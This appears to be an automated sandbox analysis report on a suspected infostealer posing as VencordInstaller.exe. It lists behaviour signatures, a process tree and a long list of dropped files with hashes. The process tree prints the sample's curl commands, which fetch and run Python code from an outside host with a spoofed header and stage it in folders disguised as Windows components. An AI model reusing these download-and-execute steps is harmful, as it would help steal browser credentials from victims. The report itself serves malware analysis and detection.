Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 00:20

General

  • Target
    VencordInstaller.exe
  • Size 275KB
  • Sample260701-am895sa13p
  • SHA256 2ac5ebfed697e3c2bb272e25c8f2f4abce87f56c72c90a73ca9ef25965a94dd7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VencordInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\VencordInstaller.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Users\Admin\AppData\Local\Temp\6F540E7B\Launcher.exe
      "C:\Users\Admin\AppData\Local\Temp\6F540E7B\Launcher.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Windows\SYSTEM32\curl.exe
        "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
        3⤵
          PID:3876
        • C:\Windows\SYSTEM32\tar.exe
          "tar" "-xf" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex"
          3⤵
            PID:6084
          • C:\Windows\SYSTEM32\curl.exe
            "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"
            3⤵
              PID:4972
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:5124
            • C:\Windows\SYSTEM32\curl.exe
              "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"
              3⤵
                PID:4288
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "-m" "pip" "install" "-r" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt"
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:5340
              • C:\Windows\SYSTEM32\curl.exe
                "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py.downloading" "https://thisisafalsepositive.st/cdn/e/42a522313d92"
                3⤵
                  PID:6028
                • C:\Windows\SYSTEM32\curl.exe
                  "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd.downloading" "https://thisisafalsepositive.st/cdn/e/36f2c0035ef9"
                  3⤵
                    PID:2420
                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                    "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py" "-u" "e21f8c81-300f-46eb-83dc-60bb90b2c75f" "--host" "thisisafalsepositive.st" "--env" "EXE"
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:5220
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                      4⤵
                        PID:2100
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe
                        C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\get-pip.py
                        4⤵
                        • Executes dropped EXE
                        PID:2504
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:6024
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:3976

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          LICENSE

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip-26.1.2.dist-info\licenses\src\pip\_vendor\certifi\LICENSE
                          • Size 989B
                          • SHA256 e93716da6b9c0d5a4a1df60fe695b370f0695603d21f6f83f053e42cfc10caf7
                          • MD5 SHA1 SHA512 TLSH

                          LICENSE.txt

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip-26.1.2.dist-info\licenses\src\pip\_vendor\urllib3\LICENSE.txt
                          • Size 1KB
                          • SHA256 130e3a64d5fdd5d096a752694634a7d9df284469de86e5732100268041e3d686
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_internal\__init__.py
                          • Size 511B
                          • SHA256 4bb8bd0e7f5a4994b4306fb65abbdeddd57d4c898fcef427e638e1a7db7fb9fd
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\idna\__init__.py
                          • Size 868B
                          • SHA256 30fa8d0cb65b5ea19a35d5f1005862a853ca1105e3bb68cd42109ecbafb97893
                          • MD5 SHA1 SHA512 TLSH

                          LICENSE

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\tomli\LICENSE
                          • Size 1KB
                          • SHA256 b80816b0d530b8accb4c2211783790984a6e3b61922c2b5ee92f3372ab2742fe
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\__init__.py
                          • Size 6KB
                          • SHA256 24ca35b60d67215d40789daf10d0bf4f17e5d1ee61e86ce5f43195935ad645ba
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _collections.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\_collections.py
                          • Size 17KB
                          • SHA256 52f57b52ab464d229dbf0f0dfcbc56b848a464b9b9801d7315f4d9607f4a8409
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _request_methods.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\_request_methods.py
                          • Size 9KB
                          • SHA256 802785f3948efd45385a83f0607228cffb70f9e33f1153a42c5a7c385b02ec30
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          connection.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\connection.py
                          • Size 41KB
                          • SHA256 d5947682a7c5748cd36085301742b99dfb60dba84ba94e67af5c874dd29bed60
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          connectionpool.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\connectionpool.py
                          • Size 42KB
                          • SHA256 64486e76c6bc048b9b0f63345e8c4106c8f16ec5f0320512707ee843d8be8f56
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          connection.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\connection.py
                          • Size 8KB
                          • SHA256 822125b01a14b0a55445b6736fc182ac99aa5b6dd79ef8f668dc90545e36b258
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          fetch.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\fetch.py
                          • Size 22KB
                          • SHA256 e7171dfbebe217165dda7072d1a2bbdddb49f53b21d7261953f4945f09f089b9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          request.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\request.py
                          • Size 566B
                          • SHA256 98bdbcb33cb52af137349856a2be633666aba7c830a650d4fbb8301996398344
                          • MD5 SHA1 SHA512 TLSH

                          socks.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\contrib\socks.py
                          • Size 7KB
                          • SHA256 781d9e59fbbc5b3d5f9feaafaffa84fdd64071e724d8d72fed7435e4396f55b5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          exceptions.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\exceptions.py
                          • Size 9KB
                          • SHA256 79e43bee726317dedb3fa4af08ae209b1e81a5064a53cca3bccf80203c19757f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          filepost.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\filepost.py
                          • Size 2KB
                          • SHA256 53c78d67e9a928a1e1ae56c7104893c7180ad7a21e8e111aeeecf8db2a80fdd2
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\http2\__init__.py
                          • Size 1KB
                          • SHA256 c73ac0487ed1e4035190f24ea2de651a70133aadca2aec97cc8e36adc9f09aab
                          • MD5 SHA1 SHA512 TLSH

                          connection.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\http2\connection.py
                          • Size 12KB
                          • SHA256 6c7307e9f36f6adc173eb2aaadc9fbe32037a5459ca8f0e9a672b52dc2826cff
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          probe.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\http2\probe.py
                          • Size 2KB
                          • SHA256 9e7024a9b8406a43a217be6bcfb5b4b9d677f047a1fee0fc7e357be0def71442
                          • MD5 SHA1 SHA512 TLSH

                          poolmanager.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\poolmanager.py
                          • Size 23KB
                          • SHA256 da9903ba3b7ee824d27ab4b05df9314ef70cf7713696c3471dbe09fc07ba34d3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\__init__.py
                          • Size 1001B
                          • SHA256 faa792d1071e8af6b3bc110a0cd142008fba00271d0ce1384ccbe8ed22cd9404
                          • MD5 SHA1 SHA512 TLSH

                          connection.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\connection.py
                          • Size 4KB
                          • SHA256 2633bbdb69731e5ccb5cf4e4afd65605d86c7979cc5633126f50c92d5ad74a74
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          proxy.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\proxy.py
                          • Size 1KB
                          • SHA256 b1e3fcf90e41e9b07474cb703e3f98719650df4bc7b8ba91bbeb48d096767f3b
                          • MD5 SHA1 SHA512 TLSH

                          response.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\response.py
                          • Size 3KB
                          • SHA256 bd013adfdba81218f5be98c4771bb994d22124249466477ba6a965508d0164e0
                          • MD5 SHA1 SHA512 TLSH

                          retry.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\retry.py
                          • Size 18KB
                          • SHA256 58e7081d56b129ff9d55bf3d9546e9bdca5e33bacd605fefb0ab0238ac35d19f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          ssltransport.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\ssltransport.py
                          • Size 8KB
                          • SHA256 133e0ef2947fbd3f1d6a7fc5bea0584ba7600df05710c7d57ebcdc754a167e2e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          url.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\url.py
                          • Size 14KB
                          • SHA256 3c40d0332a6276e75ed2701972d2cb8852bd7a937e2cf9d21fb2a938b2f0a87d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          util.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\util.py
                          • Size 1KB
                          • SHA256 8f795b64ad633f28b00f7e13f08809cdd5846554fee04fb4bd82098bd52378d0
                          • MD5 SHA1 SHA512 TLSH

                          wait.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Lib\site-packages\pip\_vendor\urllib3\util\wait.py
                          • Size 4KB
                          • SHA256 fe987c22b511deca8faa2d0ea29420254947e30ce419e3390a2c80ed7186b662
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _webp.pyi

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\PIL\_webp.pyi
                          • Size 66B
                          • SHA256 cc3f2f0283c2f1a1085637dc90bb45b24456e6c6a255e977fac254036a476867
                          • MD5 SHA1 SHA512 TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\__pycache__\__init__.cpython-312.pyc
                          • Size 667B
                          • SHA256 7af938cd409b79be03602298649e331341daecac8a374bba0e3ee6f3303ce739
                          • MD5 SHA1 SHA512 TLSH

                          __main__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\__pycache__\__main__.cpython-312.pyc
                          • Size 892B
                          • SHA256 4e19221e43d289ea7cee17c8f526e1b4659a32802483d8bd9602e193e6198f7b
                          • MD5 SHA1 SHA512 TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\__pycache__\__init__.cpython-312.pyc
                          • Size 767B
                          • SHA256 7eb9de498d37c474ac2bcd27daaeda8875b661e117219d3b3edf54598c9828a9
                          • MD5 SHA1 SHA512 TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\cli\__pycache__\__init__.cpython-312.pyc
                          • Size 291B
                          • SHA256 b10398054ee5797764a7fb856775052b078ee65dd6f248b6f1e0c26fb9c66b1f
                          • MD5 SHA1 SHA512 TLSH

                          autocompletion.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\cli\__pycache__\autocompletion.cpython-312.pyc
                          • Size 8KB
                          • SHA256 d010260bf4315c80e0991f4fe6f733562e2cdc93502a4e45d5962a445a5ecd7f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          main.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\cli\__pycache__\main.cpython-312.pyc
                          • Size 2KB
                          • SHA256 a8c19a5f32dc0886670deb8e323ec71942c0fcf27789cf2deb767254753087ae
                          • MD5 SHA1 SHA512 TLSH

                          main_parser.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\cli\__pycache__\main_parser.cpython-312.pyc
                          • Size 4KB
                          • SHA256 395862b8ff8703577972cf295581d6ce22537288c8b0cd0142ec1d85b52689a6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\utils\__pycache__\__init__.cpython-312.pyc
                          • Size 208B
                          • SHA256 28f04a3f6057f537d2468e2d7a89e96f5a948f135bd33d4c16ff6a5b7837eb31
                          • MD5 SHA1 SHA512 TLSH

                          _log.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\utils\__pycache__\_log.cpython-312.pyc
                          • Size 1KB
                          • SHA256 0ab9302a0cb03e459412117cd776bc4fdf0028ec9a7fd9dfc2d3b80f25c12b44
                          • MD5 SHA1 SHA512 TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_vendor\__pycache__\__init__.cpython-312.pyc
                          • Size 4KB
                          • SHA256 9f869b4d70136b53a879ecf83e1af571350f26df6bb2cba38b25c9aafc288f3c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __init__.cpython-312.pyc

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_vendor\rich\__pycache__\__init__.cpython-312.pyc
                          • Size 6KB
                          • SHA256 508802250cd3789168fbde2494b8d911511bcafc4d5caff0dc4022dec36325e0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          LICENSE

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\requests-2.34.2.dist-info\licenses\LICENSE
                          • Size 9KB
                          • SHA256 09e8a9bcec8067104652c168685ab0931e7868f9c8284b66f5ae6edae5f1130b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          INSTALLERjflulse4.tmp

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\vdf-3.4.dist-info\INSTALLERjflulse4.tmp
                          • Size 4B
                          • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                          • MD5 SHA1 SHA512

                          pywin32_postinstall.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32\scripts\pywin32_postinstall.py
                          • Size 24KB
                          • SHA256 453dd1a2020102b3148510856a2bd6925d8db15670afd70d35dda172c5d4054e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pywin32_testall.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32\scripts\pywin32_testall.py
                          • Size 3KB
                          • SHA256 158be3c78ded85dbdb91669888b3135f7f51c6c14bd1cfb5a3ec58dae76506a0
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\bits\__init__.py
                          • Size 198B
                          • SHA256 0486114a785d3c74a9940bd828bf4d04bb90599eba7be427269895580fc00f7f
                          • MD5 SHA1 SHA512 TLSH

                          __init__.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\internet\__init__.py
                          • Size 139B
                          • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                          • MD5 SHA1 SHA512 TLSH

                          pip.exe

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Scripts\pip.exe
                          • Size 105KB
                          • SHA256 a239710851bfa1812479beadec6d7c8d353a3a51df8a078f5f2108e3c70f6906
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140.dll
                          • Size 117KB
                          • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          VCRUNTIME140_1.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140_1.dll
                          • Size 48KB
                          • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _bz2.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_bz2.pyd
                          • Size 82KB
                          • SHA256 160b5218c2035cccbaab9dc4ca26d099f433dcb86dbbd96425c933dc796090df
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _ctypes.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ctypes.pyd
                          • Size 122KB
                          • SHA256 8250b4c102abd1dba49fc5b52030caa93ca34e00b86cee6547cc0a7f22326807
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _decimal.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_decimal.pyd
                          • Size 250KB
                          • SHA256 b7f9603f98ef232a2c5bce7001d842c01d76ed35171afbd898e6d17facf38b56
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _hashlib.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_hashlib.pyd
                          • Size 64KB
                          • SHA256 b4cec162b985d34ab768f66e8fa41ed28dc2f273fde6670eeace1d695789b137
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _lzma.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_lzma.pyd
                          • Size 154KB
                          • SHA256 b095fa2eac97496b515031fbea5737988b18deee86a11f2784f5a551732ddc0c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _queue.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_queue.pyd
                          • Size 31KB
                          • SHA256 bbe7736caed8c17c97e2b156f686521a788c25f2004aae34ab0c282c24d57da7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _socket.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_socket.pyd
                          • Size 81KB
                          • SHA256 ce3090fff8575b21287df5fc69ae98806646fc302eefadf85e369ad3debad92b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _ssl.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ssl.pyd
                          • Size 173KB
                          • SHA256 61f00b0543464bba61e0bd1128118326c9bd0cdc592854dd1a31c3d6d8df2b83
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _uuid.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_uuid.pyd
                          • Size 25KB
                          • SHA256 869361adf2be930e5c8b492fa2116dc0d0edccbf2c231d39c859ce320be27b31
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _wmi.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_wmi.pyd
                          • Size 37KB
                          • SHA256 b0ed1c62b73b291a1b57e3d8882cc269b2fcbb1253f2947da18d9036e0c985d9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          get-pip.py

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py
                          • Size 2.1MB
                          • SHA256 a341e1a43e38001c551a1508a73ff23636a11970b61d901d9a1cad2a18f57055
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          libcrypto-3.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libcrypto-3.dll
                          • Size 5.0MB
                          • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          libffi-8.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libffi-8.dll
                          • Size 38KB
                          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          libssl-3.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libssl-3.dll
                          • Size 774KB
                          • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pyexpat.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\pyexpat.pyd
                          • Size 196KB
                          • SHA256 b6670d91a76e9f00609752ab19aae0b1ebe00d24d9d8d22068989bbb24d0aa44
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python.exe

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                          • Size 101KB
                          • SHA256 ca60cf785b2314a6d6599eced15bdf094e6db171bec996b97a70b995942c3c37
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python.zip.downloading

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading
                          • Size 10.6MB
                          • SHA256 0d57bb6cb078b74d23dbfe91f77d6780d45bed328911609f1f7ee2ba1606bf44
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python3.DLL

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python3.DLL
                          • Size 66KB
                          • SHA256 d52baca085f88b40f30c855e6c55791e5375c80f60f94057061e77e33f4cad7a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python312._pth

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312._pth
                          • Size 79B
                          • SHA256 9fe5713a8c85777f99d941d14409946124df1f322e987485ed30600f4f0afde1
                          • MD5 SHA1 SHA512 TLSH

                          python312.dll

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.dll
                          • Size 6.6MB
                          • SHA256 93488fa7e631cc0a2bd808b9eee8617280ee9b6ff499ab424a1a1cbf24d77dc7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python312.zip

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.zip
                          • Size 3.6MB
                          • SHA256 b321b802f5c37d2b45a5d2a79645f223143ffa778666135148871b7b8cbb7fe4
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          select.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\select.pyd
                          • Size 30KB
                          • SHA256 dca5e6d39c5094ce599143cb82f6d8470f0c2a4ce4443499e73f32ed13333fd0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          unicodedata.pyd

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\unicodedata.pyd
                          • Size 1.1MB
                          • SHA256 64a162d6b11ba10cb11509f3cc445f17beb7acfd064f030b4d59faa1c9894b29
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Launcher.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\6F540E7B\Launcher.exe
                          • Size 1.1MB
                          • SHA256 ab158062ec6d41d9a53e891083eb47656cf7bd05653f42757e7aca29461f34a0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          vdf-3.4-py2.py3-none-any.whl.metadata

